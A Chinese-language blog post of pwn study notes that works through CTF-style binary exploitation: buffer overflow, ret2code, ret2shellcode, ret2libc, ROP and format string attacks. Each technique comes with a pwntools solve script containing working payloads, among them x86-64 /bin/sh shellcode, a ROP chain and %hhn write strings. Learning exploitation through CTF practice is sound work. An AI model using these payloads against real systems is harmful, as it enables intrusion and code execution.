---
title: Pwn筆記
date: 2023-10-12 10:04:00
tags:
- pwn
- ret2shellcode
- BOF
- ROP
- ret2code
- ret2lib
- GOT Hijacking
- format string
---
<style>
html, body, .ui-content {
background-color: #333;
color: #ddd;
}
.markdown-body h1,
.markdown-body h2,
.markdown-body h3,
.markdown-body h4,
.markdown-body h5,
.markdown-body h6 {
color: #ddd;
}
.markdown-body h1,
.markdown-body h2 {
border-bottom-color: #ffffff69;
}
.markdown-body h1 .octicon-link,
.markdown-body h2 .octicon-link,
.markdown-body h3 .octicon-link,
.markdown-body h4 .octicon-link,
.markdown-body h5 .octicon-link,
.markdown-body h6 .octicon-link {
color: #fff;
}
.markdown-body img {
background-color: transparent;
}
.ui-toc-dropdown .nav>.active:focus>a, .ui-toc-dropdown .nav>.active:hover>a, .ui-toc-dropdown .nav>.active>a {
color: white;
border-left: 2px solid white;
}
.expand-toggle:hover,
.expand-toggle:focus,
.back-to-top:hover,
.back-to-top:focus,
.go-to-bottom:hover,
.go-to-bottom:focus {
color: white;
}
.ui-toc-dropdown {
background-color: #333;
}
.ui-toc-label.btn {
background-color: #191919;
color: white;
}
.ui-toc-dropdown .nav>li>a:focus,
.ui-toc-dropdown .nav>li>a:hover {
color: white;
border-left: 1px solid white;
}
.markdown-body blockquote {
color: #bcbcbc;
}
.markdown-body table tr {
background-color: #5f5f5f;
}
.markdown-body table tr:nth-child(2n) {
background-color: #4f4f4f;
}
.markdown-body code,
.markdown-body tt {
color: #eee;
background-color: rgba(230, 230, 230, 0.36);
}
a,
.open-files-container li.selected a {
color: #5EB7E0;
}
</style>
# Pwn 筆記
## 前言
pwn也好好玩,以前都只有玩web和crypto(還有forensics, rev但不是很熟練)。所以算是第一次深度接觸owob
## 簡介
漏洞攻擊從入門到放棄(?)
漏洞攻擊從入門到入土(O)
~~漏洞攻擊從入門到入獄(X)~~
## 所需要會的工具&知識
python pwn, Ghidra/IDA, radare2(r2), gdb......反正就rev的東西大概要會owob
程式架構、linux指令
## Program Structure
由低而高
- Text:程式碼的部分。可讀,不可寫,可執行(r-x)
- Data:已初始化的全域變數(for exam, 字串,數字等等的)
- BSS:未初始化的全域變數
- Heap:由低位往高位疊的動態記憶體空間
- Stack:存放暫時資料(return adress, 區域變數, 參數, 回傳值),由高位往低位拉長,最低位(長到底的地方)會有rsp。
Stack也是目前我所知道的攻擊手法中最容易被打的對象,由於資料是依序堆疊的,導致可能被填入大量的資料去覆蓋掉在他上面堆疊的相關資料(變數或其他資料出現順序也很重要。
## Python Pwntools
要注意python3要decode, encode, b之類ㄉ.......
python2才是pwntools使用的最佳地點(O)
### 指令們
- 連線
- 某個ip, port `r=remote($ip, $port)`
- 某個shell檔案`r=process($path)`
- 讀取資料
- 讀到某個字串結束`recvuntil('字串')`
- 讀到某個大小結束`recv(字節大小)`
- 讀取一行,keepends為是否讀取入'\n'`recvline(keepends=True)`
- 直到文件結束```recvcall()```
- 送出資料
- 送出並換行`sendline('string')`
- 送出不換行`send('string')`
- 變成32, 64位元資料(用在整數)`p32(int), p64(int)`
### 範例
- 題目大意:第一關是要輸入一個密碼,只會read前四個byte,可以用Ghidra逆向出來value後打pwntools p32() 轉換並送出。第二關是要回答一千個數學題,直接```eval()```並用python pwntools送出即可
- solve script:
```python!=
from pwn import *
r=remote('120.114.62.213', 2116)
#r=process('./pwntools')
s=r.recvuntil('\n')
print('>>'+s.decode())
r.sendline(p32(0x79487ff))
print(p64(0x79487ff))
s=r.recvuntil('\n')
print(s)
for i in range(1000):
question = r.recvuntil('?')[:-3]
eval(question)
print(question)
r.sendline(str(eval(question)))
print((str(eval(question))))
print('meow\n')
r.interactive()
```
圖:

## Buffer Overflow
### 利用條件
- 沒有Stack Canary
- 採用get讀取char陣列,導致Overflow成立
### 原理
利用對某個buffer在stack上面overflow到stack以上的其他資料進而修改之。(radare2可以分析每個stack上面資料byte大小,確認要overflow到哪個地方。)
Stack Canary會根據canary值是否被改動做一次overflow確認,所以必須被關閉或者可以在overflow時不動到canary的value(或者能overwrite canary)
- Example
下圖是某個被BOF的目標由Radare導出的結果,可以看到在Stack最高位的變數距離最底部為 `0x20`bytes(因為它是`var_20h`) ,所以它如果想要把`var_1ch`覆蓋掉,payload為`'A'*(0x20-0x1c)+p32(你要修改的值)`

### 範例
- 題目大意:輸入字串後分成兩關,第一關是要將某兩個int變成指定的value,第二關是要猜中某個random value
- 解法:利用BOF修改兩個int value以及random的值讓他不再random
- solve script:
```python!=
from pwn import *
payloads=b'a'*12+p32(0xfaceb00c)+p32(0xdeadbeef)+p32(0xaaaaaaaa)
r=remote('120.114.62.213', 2111)
#r=process('./luck')
s=r.recvuntil(':')
print(s)
r.sendline(payloads)
r.interactive()
```
圖:

## BOF Ret2code
### 利用條件
- PIE被關閉
- 沒有Stack Canary
- 採用get讀取char陣列,導致Overflow成立
### 原理
Overflow到一個函數return的地方,並且注入某個程式碼片段中的位址,比單純BOF多一個PIE被關閉是因為PIE會將data段和code段位址隨機化
### 範例
- 題目大意:會要你輸入一個字串並讀取
- 解法:ghidra逆回去發現有個隱藏的函數是進到```/bin/sh```的admin功能,要overflow到ret的地方使code跑去隱藏的函數位址(可以用radare2敲出來),最後payload在設計的時候只要記得除了把所有資料都overflow掉還要加上saved rbp的8 byte大小並接上隱藏函數的位址
- solve script:
```python!=
from pwn import *
r=remote('120.114.62.213',2121)
s=r.recvuntil('\n')
print(s)
s=r.recvuntil(':')
print(s)
payload=b'a'*0x28+p64(0x400646)
r.sendline(payload)
r.interactive()
```
圖:

## BOF Ret2ShellCode
### 利用條件
- NX被關閉
- PIE被關閉
- 沒有Stack Canary
- 採用get讀取char陣列,導致Overflow成立
### 原理
Overflow到一個函數return的地方,並且注入某個程式碼片段中的位址(此位置已被注入/bin/sh操作payload),比ret2code還嚴格是因為NX會區分可執行可寫的權限不重疊,而可以注入shellcode payload的地方必須要同時能執行。
```geb-vmmapn 可以確定哪些記憶體區段是可以執行的```
### 範例
- 題目大意:會要你輸入你的名字以及另一個字串的簡單c程式
- 解法:第一次輸入從 [exploit-db](https://www.exploit-db.com/)上找到的linux_x86-64 shellcode字串payload
- solve script
```py!=
from pwn import *
shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
r=remote('120.114.62.213', 2122)
#r=process('./ret2sc')
payload=b'a'*0x28+p64(0x601080)
s=r.recvuntil(':')
print(s)
r.sendline(shellcode)
s=r.recvuntil(':')
print(s)
r.sendline(payload)
r.interactive()
```
圖:

## BOF Ret2Lib
### 利用條件
- 必須有辦法找到對方的lib以及某個函數在lib的位址
- NX被關閉
- PIE被關閉
- 沒有Stack Canary
- 採用get讀取char陣列,導致Overflow成立
### 原理
#### Lazy Binding 機制
在程式碼需要執行某個函數時,透過呼叫他的plt去got表中尋找他在libary中的真正位置,如果沒有的話就會去library把該函數抓出來並放入got表以便下次查詢
#### Libc Base
利用libc進行舉例:
因為ASLR的系統設定,每次got value都會加上一個隨機的libc base,導致每次執行的時候got value都不一樣。
如果可以得到某函數的got位址,就可以算出libc並加上任意函數的在libc的位址
libc base=函數的got value-函數在libc中的位址
#### 手法
Overflow到一個函數return的地方,並且注入某個位址,最後讓他return 去libc上面的某些好用函數(像是system,execve)。
必須得到某個函數的got value以及對方的libc,才能反推回去你要的特定函數got value並注入
### 範例
- 題目大意:(有提供執行環境libc)會要你給定一個hex值並查詢他的got value,並讓你再次輸入一個字串
- 解法:利用radare2逆出puts函數的got表位址,輸入該位址後取得puts的got value,進而推出libc base。
- 利用one_gadget加上提供的libc檔案取得`execve("/bin/sh", rsp+0x30, environ)`函數在libc的位址,最後經由got value算法加回去並利用 BOF ret注入即可
```py!=
from pwn import *
r=remote('120.114.62.213', 2123)
for i in range(4):
s=r.recvuntil('\n')
print(s)
s=r.recvuntil(':')
print(s)
r.sendline('0x601018')
s=r.recvuntil('\n')[:-1].split(' ')
print(s)
dat=int(s[6], 16)
dat=dat
print(hex(dat))
s=r.recvuntil(':')
payload=b'a'*0x118+p64(dat-0x000000000006f690+0x45216)
r.sendline(payload)
r.interactive()
```
圖:

## GOT Hijacking
### 利用條件
- No PIE
- Partial/No RELRO
### 原理
利用可以創造可以修改plt值的機會改成想要的函數之位址
## Return Oriented Programming
簡稱:ROP
戳一下->||ROP好好玩owob||
### 利用條件
- 要有良好的ret gadget
- PIE被關閉
- 沒有Stack Canary
- 採用get讀取char陣列,導致Overflow成立
### 原理
#### ROP Gadget
所謂ROP Gadget就是最後由ret結尾的程式碼片段
可以使用工具ROPgadget選擇適合的片段
#### 手法
利用BOF串接Gadget到stack上面並讓它執行在函數return的地方,進行pop、ret等各種操作後搭配給定的ret2code變數(必須是全域或者有辦法找到他的位址,不然無法再別的函數裡戳它),最後跑到某個片段做執行(通常是system函數)
### 範例
- 題目大意:會有兩次輸入字串的機會,第一次提問時會用system中的echo輸出,並且輸入的是個全域變數的字串,第二個則是get進去一個Buffer
- 解法:
- 0.看到system先radare2找出是跑去哪裡call system的

- 1.利用ROPgadget抓ret結尾的東東

- 2.找出全域變數的位址

事前準備結束~~
- 3.第一次輸入的時候payload為"/bin/sh\x00"(結尾\x00是為了做讀取到結尾的提示)
- 4.最後把剛剛的找到的ret gadget - 全域變數位址 - call system的路徑依序串起來,它就會用system執行剛剛變成payload的全域變數啦啦啦~~~~
- solve script
```python!=
from pwn import *
r=remote('120.114.62.213', 2120)
s=r.recvuntil('\n')
print(s)
r.sendline('/bin/sh\x00')
#global_variable defining
s=r.recvuntil('\n')
print(s)
payload=b'a'*0x38+p64(0x0000000000400773)+p64(0x601070)+p64(0x4006bf)
#buffer(0x30)+rdi(0x8)+ret2gadget(0x8)+gadgetValue(0x8)+gadget_to_system_function(0x8)
r.sendline(payload)
r.interactive()
```
圖:

wwww其實ROP感覺還有很多東西還沒學到,之後有空練owob
## Format String Attack
### 利用條件
- c 裡面的printf函數被使用
### 原理
大概念:c語言裡面的printf如果單純輸出字串變數其實是可以被自訂格式的
`%x`以hex的方式輸出內容,一直疊可以戳超出記憶體
`%p`會輸出某個變數的value
`%{number}$p`可以輸出stack上面指定number的變數value
`%{amount}c%{number}$n`可以填入某個amount的字元到stack上面某個變數,並且因為後面接n所以可以變成8byte的value,但是這樣高機率會出事情,所以一般都使用1byte的hhn填下去
### 範例1
- 題目大意:叫你輸入東西然後他會輸出醬
- 解法:阿就用 %{number}$p 的方法一直亂戳下去就好,最後發現每個資料都被倒過來了就倒回去(喔喔還有會被hex編碼過)
- solve script
```python=!
from pwn import *
import binascii
r=remote('120.114.62.213', 4001)
s=r.recvuntil('\n')
print(s);
payload='%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p#'
r.sendline(payload)
s=r.recvuntil('#')[9:-1].split(',')
def enc(x):
x=hex(int(x[2:], 16))
x=binascii.unhexlify(x[2:])
cnt=''
for i in range(len(x)):
cnt += x[len(x)-1-i]
return cnt
ans=''
for i in s:
ans+=enc(i)
print(ans)
```
圖:(不小心戳太多東西呵呵)

### 範例2
- 題目大意:叫你輸入東西,用printf輸出,然後比對某兩個int value如果吻合到就可以拿到/bin/sh
- 解法:利用radare2確認stack上面可以塞哪東西,慢慢算以後再用'a'去填充,最後再接上你的stack上面你剛剛要填入到第幾個的位置塞入你要改變的記憶體位址(好饒口,之後修)
- 註:利用```%{amount}c%{number}$n```類型的payload打
- solve script
```python!=
from pwn import *
r=remote('120.114.62.213', 4003)
s=r.recvuntil(':')
print(s)
'''
%??c%?$hhn%??c%?$hhn%??c%?$hhn%??c%?$hhn
value
value+1
value+2
value+3
'''
ch=0
addr=0x404050
value=0xfaceb00c
payload=''
idx=12
for i in range(4):
addch=((256-ch)+(value&0xff))%256
payload+='%{}c%{}$hhn'.format(addch, idx)
ch=value & 0xff
value >>= 8
idx=idx+1
print(payload, len(payload))
payload=payload+3*'a'
print(payload, len(payload))
payload=payload+p64(addr)+p64(addr+1)+p64(addr+2)+p64(addr+3)
print(payload, len(payload))
r.sendline(payload)
r.interactive()
```
圖:
